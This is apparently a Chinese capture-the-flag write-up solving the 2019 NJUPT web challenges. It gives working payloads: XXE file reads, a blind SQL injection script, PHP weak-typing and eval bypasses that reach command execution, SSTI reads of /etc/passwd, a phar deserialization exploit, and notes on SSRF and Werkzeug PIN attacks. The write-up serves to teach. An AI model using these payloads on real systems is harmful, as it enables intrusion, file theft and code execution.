[WRITEUP]2019NJUPT web题解

前言

考试错过了比赛,题目还没关,拿学长WP@somnus复现一波

Fake XML cookbook

<!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///flag">]>
<user><username>&passwd;</username><password>&passwd;</password></user>

1574570528817

True XML cookbook

按第一题payload打无法读到flag,为空,也无法执行命令

尝试查内网

<!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///proc/net/arp">]>
<user><username>&passwd;</username><password>&passwd;</password></user>

1574572925507

丢到intruder模块遍历

1574573011186

sqli

一个sql注入

1574573615871

提示我们需要得到结果

1574573610718

注入发现'被过滤,但是\未被转义

这样就可以用username符号前面单引号去闭合password单引号,但是最后一个单引号需要注释,常用注释符号被过滤完

查了而下%00可以用来注释

1574573597217

得到一个302跳转

username=123\&passwd=||1;%00

1574573767033

需要注出password字段

1574573840920

select被过滤,但是问题不打,因为是在同一个表内,可以直接操作passwd列名.

现在就是要构造语句,sleep被过滤无法延时,只能考虑bool盲注

利用正则匹配进行盲注

1574574240423

逻辑很简单,

true => 302
false => 200

需要注意数据字段表中还有其他password值,需要先确定第一个字符

跑完脚本发现第一个字段为y后续结果较合理

exp

import requests
import string

str1 = string.ascii_letters+'_'+string.digits
url = "http://nctf2019.x1ct34m.com:40005"
tmp = '79'
result='y'
for i in range(0,50):
    for j in str1:
        data = {
            'username':"0\\",
            'passwd':f'||passwd/**/regexp/**/0x{str(tmp)+hex(ord(j))[2:]};{chr(0)}'
        }
        #print(data)
        rep = requests.post(url,data=data)
        #print(rep.status_code)
        if "back to get" in rep.text:
            tmp+=hex(ord(j))[2:]
            result+=j
            print(result)
            break
#you_will_never_know7788990

1574576307617

任意用户名+’you_will_never_know7788990’ 即可得到flag

1574576370940

easyphp

<?php 
error_reporting(0); 
highlight_file(__file__); 
$string_1 = $_GET['str1']; 
$string_2 = $_GET['str2']; 
$cmd = $_GET['q_w_q']; 


//1st 
if($_GET['num'] !== '23333' && preg_match('/^23333$/', $_GET['num'])){ 
    echo '1st ok'."<br>"; 
} 
else{ 
    die('23333333'); 
} 


//2nd 
if(is_numeric($string_1)){ 
    $md5_1 = md5($string_1); 
    $md5_2 = md5($string_2); 
    if($md5_1 != $md5_2){ 
        $a = strtr($md5_1, 'cxhp', '0123'); 
        $b = strtr($md5_2, 'cxhp', '0123'); 
        if($a == $b){ 
            echo '2nd ok'."<br>"; 
        } 
        else{ 
            die("can u give me the right str???"); 
        } 
    }  
    else{ 
        die("no!!!!!!!!"); 
    } 
} 
else{ 
    die('is str1 numeric??????'); 
} 


//3rd 
$query = $_SERVER['QUERY_STRING']; 
if (strlen($cmd) > 8){ 
    die("too long :("); 
} 

if( substr_count($query, '_') === 0 && substr_count($query, '%5f') === 0 ){ 
    $arr = explode(' ', $cmd); 
    if($arr[0] !== 'ls' || $arr[0] !== 'pwd'){ 
        if(substr_count($cmd, 'cat') === 0){ 
            system($cmd); 
        } 
        else{ 
            die('ban cat :) '); 
        } 
    } 
    else{ 
        die('bad guy!'); 
    } 
} 
else{ 
    die('nonono _ is bad'); 
} 
?> 
23333333
第一层绕过: num=23333%0a
原理:利用$无法匹配换行符号\x0a

第二层绕过,限制流程是先经过is_numeric数值判断,在将讲闯入的两个参数进行md5运算,替换其中的cxhp字符为0123

1574577657048

那这里考察的就是弱类型了

关系如下==在判断0e科学计数法会判断两个数值为true,但是若其中添加a-z则判定不相等

1574577621300

所以思路就是便利数值1-999999999(任意数值)进行md5,取出两个0e开头的md5结果且其中英文字母只包含字符的cxhp,其余的都为数值0-9

import hashlib
def md5(s):
	return hashlib.md5(s.encode(encoding='UTF-8')).hexdigest()
for i in range(1,9999999):
    flag = 1
    j = md5(str(i))
    print j + "   "+str(i)
    if j[0:2] == '0e':
        for z in j[2:]:
            if z not in "0123456789c":
           #if z not in "0123456789hxp":
                flag = 0
                break
        if flag == 1:
            print "------------------md5("+str(i)+")="+j
            break

1574581691961

最后需要传入q_w_q参数,但是要求不能出现_, %5f,利用php特性.会转换为_

要求输入的命令不能过程,使用linux正则符*去匹配文件

q.w.q=head%20f*

1574578727226

最终payload

?num=23333%0a&str1=2120624&str2=240610708&q.w.q=head%20f*

1574578708090

replace

1574586109113

界面侯丹代码preg_replace 存在/e代码执行

1574586100177

过滤了引号

sub=123&pat=123&rep=highlight_file(chr(47).chr(102).chr(108).chr(97).chr(103));

1574586220392

flask

访问url/字符 ,会出现在界面,可能存在SSTI

1574587011327

输入{{1+1}}

1574587056099

http://nctf2019.x1ct34m.com:40007/%7B%7B[].__class__.__bases__.__getitem__(0).__subclasses__()[40]('/etc/passwd').read()%7D%7D

读取/etc/passwd

1574587358635

http://nctf2019.x1ct34m.com:40007/%7B%7B[].__class__.__bases__.__getitem__(0).__subclasses__()[40]('/fla'+'g').read()%7D%7D

1574587380113

Upload your Shell

上传文件拿到shell地址

1574588013037

shell文件内容 

1574588003315

利用文件包含执行shell

1574588046019

hackbackdoor

<?php 
error_reporting(0); 
if(!isset($_GET['code']) || !isset($_GET['useful'])){ 
    highlight_file(__file__); 
} 
$code = $_GET['code']; 
$usrful = $_GET['useful']; 

function waf($a){ 
    $dangerous = get_defined_functions(); 
    array_push($dangerous["internal"], 'eval', 'assert'); 
    foreach ($dangerous["internal"] as $bad) { 
        if(strpos($a,$bad) !== FALSE){ 
        return False; 
        break; 
        } 
    } 
    return True; 
} 

if(file_exists($usrful)){ 
    if(waf($code)){ 
        eval($code); 
    } 
    else{ 
        die("oh,不能输入这些函数哦 :) "); 
    } 
}
${%80%80%80%80^%df%c7%c5%d4}{%df}('/readflag');&%df=highlight_file

1574594549589

proc_open执行readflag输出到/tmp/aa

http://nctf2019.x1ct34m.com:60004/?useful=/etc/passwd&code=$b=${%80%80%80%80^%df%c7%c5%d4}{q}(%27/readflag%3E/tmp/aa%27,[],$z);&q=proc_open

读取flag

http://nctf2019.x1ct34m.com:60004/?useful=/etc/passwd&code=$b=${%80%80%80%80^%df%c7%c5%d4}{q}(%27/tmp/aa%27);&q=highlight_file

1574594752207

phar matches everything

1574596919240

catchmime.php源码泄露,很明显考点是phar反序列化

1574596856480

exp

<?php
class Easytest{
    protected $test;
    public function __construct(){
        $this->test='1';
    }
}

class Main{
    public $url;
    public function __construct(){
        $this->url = 'file:///etc/passwd';
    }
}
$a = new Easytest();
echo urlencode(serialize($a));
$f = new Main();
$png_header = hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000');
$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->setMetadata($f);
$phar->addFromString('exp.txt', '123');
$phar->setStub($png_header . '<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
?>

上传文件,读取/etc/passwd

File is an image - image/png.The file f59a38e6c0.png has been uploaded to ./uploads/

1574596884422

内网地址10.0.0.2

1574597037119

内网10.0.0.3开放,并使用php-fpm处理请求

1574597300091

利用gopher+ssrf打php-fpm(未授权漏洞)

https://evoa.me/index.php/archives/52/#toc-SSRFGopher

1574597548480

后面拿自己写的exp打也不行,拿学长打的也不行,不知道出啥问题,先鸽了.最后在绕过base_dir即可

flask_website

1574599975652

存在debug界面,且任意文件读取

考点为利用PIN任意代码执行 参考链接:https://xz.aliyun.com/t/2553#toc-2

这里有个坑点是主机的machin-id 不是直接主机获取,是docker获取

1574600199358

1:name=systemd:/docker/d405cfad80134749974dbff9adf048923357c30f70c44305b1bc424efd4357c8

1574600720338

mac 地址:file:///sys/class/net/eth0/address

用户名:/etc/passwd

1574600726752

osword@papertiger:~/Desktop$ python PIN.py 
276-798-350

1574600850757